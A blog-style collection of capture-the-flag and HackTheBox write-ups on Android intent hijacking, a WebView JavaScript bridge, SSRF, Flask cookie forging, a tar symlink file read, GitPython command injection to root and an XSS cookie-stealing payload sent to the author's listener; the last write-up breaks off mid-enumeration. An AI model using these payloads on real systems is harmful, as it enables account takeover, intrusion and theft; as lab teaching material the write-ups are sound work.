Now Loading ...
-
Mobile: kage
solution
We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing.
The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app.
I got the source code using Jadx.
First thing i do usually is looking in AndroidMainfest.xml file.
In this challenge the MainActivity is the interesting part and has all what we need to solve the challenge, Let’s look at it.
package com.cyctf.kage;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.ImageView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (getIntent() != null && "Secret_Action".equals(getIntent().getAction())) {
Intent intent = new Intent("Tsukuyomi");
try {
Toast.makeText(this, "Be Careful, Something was sent to you", 1).show();
startActivityForResult(intent, 1337);
return;
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "No App Can Handle My Shadow!!", 1).show();
return;
}
}
Toast.makeText(this, "Invalid action!.", 1).show();
}
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
public void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
ImageView myImageView = (ImageView) findViewById(R.id.imageView);
if (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) {
myImageView.setImageResource(R.drawable.image);
Toast.makeText(this, "Check Logs For Your Reward!!", 1).show();
Log.d("Jester", new String("Cyctf{Fake_Flag_don't_Submit}"));
}
}
}
We have onCreate function at which
This activity is started by intent whose action is Secret_Action
Then if the previous condition is true, a new intent is created whose action is Tsukuyomi and this new intent is used to send the start activity using startActivityForResult(intent, 1337)
startActivityForResult(): can start activity and also expects a response from the activity it started, It receives this response through onActivityResult()
Note: The response sent by us is sent through setResult(RESULT_OK,intent)
We see in the code onActivityResult(int i, int i2, Intent intent) which accepts the response as we said and it sends the flag if the condition (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) is true
This condition has
intent which is the parameter to onActivityResult() function and it’s sent by us through setResult() function
getIntent() which is first intent we used to start this application whose action is Secret_Action
So our approach to solve the challenge will be
Creating an application which will do the following
sending an intent with action: Secret_Action (to trigger the condition in onCreate function) and extra bool data Unlock: true (to trigger the condition in onActivityResult)
Intent intent = new Intent("Secret_Action");
intent.setClassName("com.cyctf.kage","com.cyctf.kage.MainActivity");
intent.putExtra("Unlock",true);
startActivity(intent);
The code above in the MainActivity of the app we created
The target’s MainActivity starts and creates an intent whose action: Tsukuyomi and sends it using startActivityForResult(intent, 1337);
We will receive it by having an application with intent filter to accept intent whose action: Tsukuyomi
<activity
android:name=".Hijack"
android:exported="true">
<intent-filter>
<action android:name="Tsukuyomi" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Above is the intent filter of the activity we used to receive the intent whose action: Tsukuyomi
Note: hijack activity is another activity other than the MainActivity of our app
Then after receiving this intent, create an intent with extra Int data RegistrationNumber: 5192
Send this intent using setResult function as response to the target
```java
public class Hijack extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_hijack);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return insets;
});
Intent resultIntent = new Intent();
resultIntent.putExtra("RegistrationNumber", 5192);
setResult(RESULT_OK,resultIntent);
finish();
}
} ```
This intent will be received by the target through onActivityResult and will trigger the condition to log the flag
Watch the logs after running the app.
GG, I wish you enjoyed the write up
-
Mobile: catch it
solution
We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing.
The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app.
I got the source code using Jadx.
First thing i do usually is looking in AndroidMainfest.xml file.
We have many interesting information here like
android:debuggable="true" & android:allowBackup="true"
We have 2 activities
MainActivity which is exported so we can access it using adb shell or by another app we create
AnotherView which isn’t exported (can be accessed by activity within the same app only), It has the category browsable which will move us to think about deep links and webviews
Let’s dig into these activities
This is the code of MainActivity
package com.cyctf.catchit;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent reintent = getIntent();
Uri url = reintent.getData();
if (url != null) {
if ("cyshield.com".equals(url.getHost())) {
Intent intent = new Intent();
intent.putExtra("url", String.valueOf(url));
intent.setClass(this, AnotherView.class);
startActivity(intent);
return;
}
Intent intent2 = new Intent(this, (Class<?>) AnotherView.class);
startActivity(intent2);
return;
}
Intent intent3 = new Intent(this, (Class<?>) AnotherView.class);
startActivity(intent3);
}
}
When we analyze the code carefully we see that it sends an intent to start AnotherView activity, but the intent contains the Uri whose host is cyshield.com the intent will have an extra string with key: url and value: <output of String.valueOf(url)
Let’s look at the source code of AnotheView activity
package com.cyctf.catchit;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes3.dex */
public class AnotherView extends AppCompatActivity {
private WebView webView;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_another_view);
this.webView = (WebView) findViewById(R.id.webView);
configureWebView();
Intent intent = getIntent();
String url = intent.getStringExtra("url");
if (url != null) {
intent.getData();
this.webView.loadUrl(url);
} else {
this.webView.loadUrl("https://cyshield.com");
}
}
private void configureWebView() {
WebSettings webSettings = this.webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setSafeBrowsingEnabled(false);
this.webView.setWebChromeClient(new WebChromeClient());
this.webView.setWebViewClient(new WebViewClient());
this.webView.addJavascriptInterface(new JavaScriptInterface(), "Jester");
}
/* loaded from: classes3.dex */
public class JavaScriptInterface {
public JavaScriptInterface() {
}
@JavascriptInterface
public void showFlag() {
Toast.makeText(AnotherView.this, "Check Logs For Your Reward!!", 1).show();
Log.d("Jester", new String("CyCtf{Fake_Flag_don't_Sumbit}"));
}
}
}
Here we have many interesting things
We have a webview (basically you are able to navigate website within the application)
The webview has interesting configurations in configureWebView() function
setJavaScriptEnabled(true): This enables execution of JS codes which will move us to think of the attacks that involves JS like XSS, etc….
setSafeBrowsingEnabled(false): disables the safe browsing, so the app is object to loading malicious pages (maybe used in another solution but i didn’t use it in my solution actually)
addJavascriptInterface(new JavaScriptInterface(), "Jester");: This is JSInterface creation which exposes Java object to JS execution, in this case we can access the class JavaScriptInterface() in Java using Jester object in JS
We also have have JavaScriptInterface class whose functions now can be accessed using Jester.
It contains showFlag() function, so if we can are able to execute JS code we can trigger this function using Jester.showFlag(), and this is our objective and we will get the flag in the logs.
After searching in different sites and asking chatgpt also i found idea
If i can load a url (whatever it is) and the debugging is enabled, so i can inspect it using chrome://inspect on my host and access the dev tools.
After accessing the devtools i can run Jester.showFlag() in the console.
This is out approach and let’s go to see the steps.
First we need to access AnotherView activity, we can do this using the command .\adb.exe shell am start-activity -n com.cyctf.catchit/.MainActivity -d https://cyshield.com/ Which will access AnotherView activity and will load https://cyshield.com/.
When we go to chrome://inspect on chrome on our host laptop we will see this
Click inspect and you will get the devtools, go to console to execute Jester.showFlag() and make sure you are getting the logs using adb.exe logcat and you will get the flag in these logs.
Thanks for Reading, I Wish this write up was useful for you.
-
Editorial
Description
Solution
Recon
Applying nmap scan
Nmap scan report for 10.10.11.20
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
we see that there’s a web service on port 80 and there’s a domain editorial.htb should be submitted in /etc/hosts file
when we add the domain to /etc/hosts we can visit the site now
I tried directory brute forcing
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ feroxbuster -u http://editorial.htb
I got no interesting output
I also tried subdomain enumeration
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://10.10.11.20 -H "Host: FUZZ.editorial.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
I got no interesting output
Shell as dev
When we navigate the site and go to Publish with us tab we will go to /upload endpoint and we will see this form.
Preview option is interesting because it has a field that accepts url.
i set up a listener at port 4444 and put http://myIP:4444 at this field and sent the request and i got a response.
Let’s cook this SSRF.
i tried to put http://127.0.0.1 as a URL, but i get this response.
The path provided in the response isn’t very interesting, so i tried to fuzz the target’s port as i may find any local port for the target open.
I changed the url to http://127.0.0.1:FUZZ and saved the request to file.
then i ran this command.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req -request-proto http -w <(seq 1 65535)
I found that all the ports return response with the same size which is 61, so i filtered it out and my new command is:
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req2 -request-proto http -w <(seq 1 65535) -fs 61
-fs 61 : means filter out by size (don’t show result whose response size is 61)
that gave me result on port 5000 only, so i sent the request with this url http://127.0.0.1:5000 and i got this
The response is different now, and when i visit this endpoint i got file with json data whose content is
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
There are many endpoints, but /api/latest/metadata/messages/authors seems to be the most interesting one i will start by it and i will send the request of preview again but the url will be http://127.0.0.1:5000/api/latest/metadata/messages/authors
I also got a path to file under uplaods directory and when i visit it i get its content which is
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Nice we have a credentials here dev:dev080217_devAPI!@
Let’s SSH and get the user flag.
dev@editorial:~$ cat user.txt
*****************************f9d
Shell as prod
when we get into the machine we will find that we have 2 users
dev@editorial:~$ ls /home
dev prod
I started navigating within the machine
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ll
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ./
drwxr-x--- 5 dev dev 4096 Oct 16 13:45 ../
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git/
I found .git directory which indicates that there’s a git repositry here.
Let’s examine it.
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
<SNIP>
i found many deleted files but the most interesting files were app_api/app.py& app_editorial/app.py
i got these files using git restore <path/to/file> and read them.
app_editorial/app.py: it’s the main app on port 80 and wasn’t interesting
app_api/app.py: it’s the api on port 5000 we saw and it contains the message we got before which has dev account credentials.
more enumeration in the repo
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
There’s a commit with a message downgrading prod to dev which seems to be very interesting, Let’s get the difference between it and the earlier one.
We have many commits let’s get the difference using git diff first-commit second-commit
I found the a message similer to what we got before but the credentials are for prod user
credentials prod:080217_Producti0n_2023!@
Let’s SSH as prod
Shell as root
Let’s do some enumeration to see the capabilities of prod user
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
we see that there’s a python script which can be executed as root and we can pass any parameter
Let’s look at that script
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
After examining the code and searching i found this article
This CVE exists on GitPython package if the version is below 3.1.30
Let’s check the version of GitPython on the machine we hacked
prod@editorial:~$ pip3 list | grep Git
GitPython 3.1.29
So it’s vulnerable
according to the article we provided i used the payload sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned' and when i check the file i see it’s created
prod@editorial:~$ ll /tmp/pwned
-rw-r--r-- 1 root root 0 Oct 19 08:51 /tmp/pwned
The executed command is done blindly so if we want to see the result of command we can redirect it to a file and read that file like using the command sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c whoami% >% /tmp/pwned'
but why we use % ?? after searching i found that it’s used to bypass some filteration but i didn’t find an absolute reason at the end the most logical reason i found from the searches that it maybe encoded as space.
When we read the file now we will get this
prod@editorial:~$ cat /tmp/pwned
root
we can now get the root flag using sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/pwned'
then read this file
prod@editorial:~$ cat /tmp/pwned
*****************************549
GG !!
-
Web: Slippery Way (Medium)
Solution
When we get the files of the challenge we will see this file hierarchy.
and this is app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os
import random
import string
import time
import tarfile
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = "V3eRy$3c43T"
def otp_generator():
otp = ''.join(random.choices(string.digits, k=4))
return otp
if not os.path.exists('uploads'):
os.makedirs('uploads')
@app.route('/', methods=['GET', 'POST'])
def main():
if 'username' not in session or 'valid_otp' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
uploaded_file = request.files['file']
if uploaded_file.filename != '':
filename = secure_filename(uploaded_file.filename)
file_path = os.path.join('uploads', filename)
uploaded_file.save(file_path)
session['file_path'] = file_path
return redirect(url_for('extract'))
else:
return render_template('index.html', message='No file selected')
return render_template('index.html', message='')
@app.route('/extract')
def extract():
if 'file_path' not in session:
return redirect(url_for('login'))
file_path = session['file_path']
output_dir = 'uploads'
if not tarfile.is_tarfile(file_path):
os.remove(file_path)
return render_template('extract.html', message='The uploaded file is not a valid tar archive')
with tarfile.open(file_path, 'r') as tar_ref:
tar_ref.extractall(output_dir)
os.remove(file_path)
return render_template('extract.html', files=os.listdir(output_dir))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' and password == 'admin':
session['username'] = username
return redirect(url_for('otp'))
else:
return render_template('login.html', message='Invalid username or password')
return render_template('login.html', message='')
@app.route('/otp', methods=['GET', 'POST'])
def otp():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
otp,_otp = otp_generator(),request.form['otp']
if otp in _otp:
session['valid_otp'] = True
return redirect(url_for('main'))
else:
time.sleep(10) # please don't bruteforce my OTP
return render_template('otp.html', message='Invalid OTP')
return render_template('otp.html', message='')
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('valid_otp', None)
session.pop('file_path', None)
return redirect(url_for('login'))
@app.route('/uploads/<path:filename>')
def uploaded_file(filename):
uploads_path = os.path.join(app.root_path, 'uploads')
return send_from_directory(uploads_path, filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
When we start the challenge we see this login page
from the code we will login using admin:admin and we will get forwarded to /otp endpoint
We can’t go to anyother endpoint without submiting the valid otp.
Trying to brute force or bypass this page through the otp form is a rabbit hole.
When we look in the source code we will find interesting things.
Each user of course have a cookie
This is Flask application which moves us to think about flask-unsign cookie
flask-unsign cookie is something like JWT that needs a secret signing key to forge a cookie
We already have this secret app.secret_key = "V3eRy$3c43T"
when we decode the cookie we will find this {"username": "admin"}
from the code that if the otp is validated, then session['valid_otp'] = True
So we need to forge a new cookie with username and valid_otp keys
we will use flask-unsign
┌──(youssif㉿youssif)-[~]
└─$ flask-unsign --sign --cookie "{'username': 'admin','valid_otp': True}" --secret 'V3eRy$3c43T'
eyJ1c2VybmFtZSI6ImFkbWluIiwidmFsaWRfb3RwIjp0cnVlfQ.Zvau5g.TioGBeLlSjBfw2V2CwACLyp9MpM
When we use the new cookie we can access the other endpoints
Now visit / again and you will find this upload page
When we go back to upload function in our code we will find that it accepts only tar file
And in /extract this uploaded tar got extracted
After searching i found this candy
From this article we knew that we can get LFI from tar upload function using
┌──(youssif㉿youssif)-[~]
└─$ ln -s ../../../../../../../../../etc/passwd kakashi.txt
tar -cvf test.tar kakashi.txt
We created a symbolic link from kakashi.txt to ../../../../../../../../../etc/passwd
Then we put it in the tar file.
We will upload the file and when we go to /extract it will give us kakashi.txt
open this file
and GG you got /etc/passwd you can read the flag as the flag path was leaked in init.sh file.
Congratzzzzzzzzzzzzzzz
-
-
-
Intuition
Description
Solution
Recon
Apply nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nmap -sV -sC -Pn 10.10.11.15
Nmap scan report for 10.10.11.15
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 28 17:24:09 2024 -- 1 IP address (1 host up) scanned in 14.61 seconds
Let’s add comprezzor.htb to /etc/hosts file
When i try Web Directories brute forcing using feroxbuster -u http://comprezzor.htb/, I didn’t get important information.
subdomain enumeration
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ ffuf -u http://10.10.11.15 -H "Host: FUZZ.comprezzor.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.15
:: Wordlist : FUZZ: /home/youssif/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 107ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 119ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 91ms]
There are 3 subdomains (dashboard,auth,report)
shell as dev_acc
When you navigate within comprezzor.htb, You will find the function of the site is comperssion of text (txt), PDF (pdf), and Word (docx) files uploaded by you using the LZMA algorithm.
i searched for LZMA algorithm CVE, but i could’t find.
Let’s continue.
We have 3 subdomains:
dashboard : accessable by admin only
When you visit it with no admin credentials you will get forwarded to auth subdomain
auth : login and register page
when i create accounts i notice user data cookie in b64
user data cookie in plain
{“user_id”: 6, “username”: “youssif”, “role”: “user”}|3dd219ed9ef9ae06cd1fc02198c330abc769ee67294c918ff7a85dcd4710e1e4
{“user_id”: 8, “username”: “test”, “role”: “user”}|16265245f0ee972ac081d3ea812f4a36eb48feac79fd4e2d4d3b682c60fcf57b
I couldn’t make use of the cookie in this state, but there’s an important note:
The user_id is 6 and 8 etc…, this makes us wonder who has user_id = 1 (we all think it’s admin and it’s our goal)
after logging in also we found us got forwarded to report subdomain
report : report bug functionality
And we have also option to see what happens when we report bug
Every reported bug is carefully reviewed by our skilled developers.
If a bug requires further attention, it will be escalated to our administrators for resolution.
We value your feedback and continuously work to improve our system based on your bug reports.
Reviewing every bug by skilled developer making us to think about XSS, we can try making the report to be xss malicious script to steal the cookie.
I set up listener on port 4444 and made the report title and desciption to be <script>var i=new Image(); i.src="http://10.10.16.12:4444/?cookie="+btoa(document.cookie);</script>
After submission i received this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.12] from (UNKNOWN) [10.10.11.15] 48508
GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1
Host: 10.10.16.12:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
decode the cookie and you find that the field is user_data and the decoded value is {"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8
very nice we got access to account with new role which is webdev with user_id=2.
Reaching this makes us wonder who is the user with id=1, but let’s continue.
Let’s go to the dashboard but this time we will use the new cookie we got and we will get the dashboard as webdev like this
The report we submitted is here and have priority 0 and when we click on the ID we see this page
We see we have mawny options but the most interesting is Set High Priority because if you remember in reporting bug there’s steps one of them is If a bug requires further attention, it will be escalated to our administrators for resolution., so we can increase the report’s priority and the admin will review it and we can get the cookie of the admin like we did to get adam’s cookie.
setup listener and click set high priority
and we received this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.15] 37298
GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1
Host: 10.10.16.31:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
after decoding the value of user_data is {"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9
now we have access to admin account and when we visit the dashboard we find changes
Create PDF Report is the most interesting of them as it asks for url so it maybe vulnerable to SSRF.
I setup a listener and submitted this url
I got this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.15] 34318
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.31:4444
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
after trials we will notice the user agent which is Python-urllib/3.11 which is interesting.
after searching i found that it’s vulnerable and the cve details and poc are here
It’s very simple we put space before the url and this will result an LFI (we can include any local file) as example:
After trials i didn’t know how to reach effective file, but after searching i found /proc/self/environ which will give us how the program is invoked and the output was python3 /app/code/app.py
so we knew the path of source code, let's read it using the LFI we have
<img src="/assets/img/htb/intuition/capture5.png" alt="app">
There's a secret key 7ASS7ADA8RF3FD7` and there’s interesting imports that can tell us more paths about files we can reach
after examining them well we can conclude that the files are ordered in this way
/app
/code
app.py
/blueprints
/index
__init__.py
index.py
/report
__init__.py
report.py
/auth
__init__.py
auth.py
/dashboard
__init__.py
dashboard.py
Let’s read them
index.py
It contains info about the main function of the site (how it works), but this isn’t interesting for us
dashboard.py
Here ftp credentials which is very interesting
we can reach also report.py and auth.py but they weren’t interesting
I tried to access the ftp from the cli using
┌──(youssif㉿youssif)-[~]
└─$ ftp ftp_admin@10.10.11.15
ftp: Can't connect to `10.10.11.15:21': Connection refused
ftp: Can't connect to `10.10.11.15:ftp'
These creds are for local ftp so we can access it through the pdf generator (exploiting SSRF to LFI as we did before), but the payload is ftp://ftp_admin:u3jai8y71s2@ftp.local
This will give us this
we can download the files using ftp://ftp_admin:u3jai8y71s2@ftp.local/filename
The private key is openSSH key
and Welcome_note file is this:
This passphrase will help is to ssh into the target using the key we got before
I searched for ssh using openSSH key and found this article
then, I put the key into file and started converting it into RSA key.
when i do this
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ ssh-keygen -p -N "" -m pem -f key
Enter old passphrase:
Key has comment 'dev_acc@local'
Your identification has been saved with the new passphrase.
the comment mentions the user so let’s ssh into the machine using ssh -i ./key dev_acc@10.10.11.15
and GG we logged as dev_acc and we got the user flag
dev_acc@intuition:~$ cat user.txt
*******************************7
shell as lopez
First let’s know who are the users on the machine
dev_acc@intuition:/var/www/app$ cat /etc/passwd |grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
adam:x:1002:1002:,,,:/home/adam:/bin/bash
dev_acc:x:1001:1001:,,,:/home/dev_acc:/bin/bash
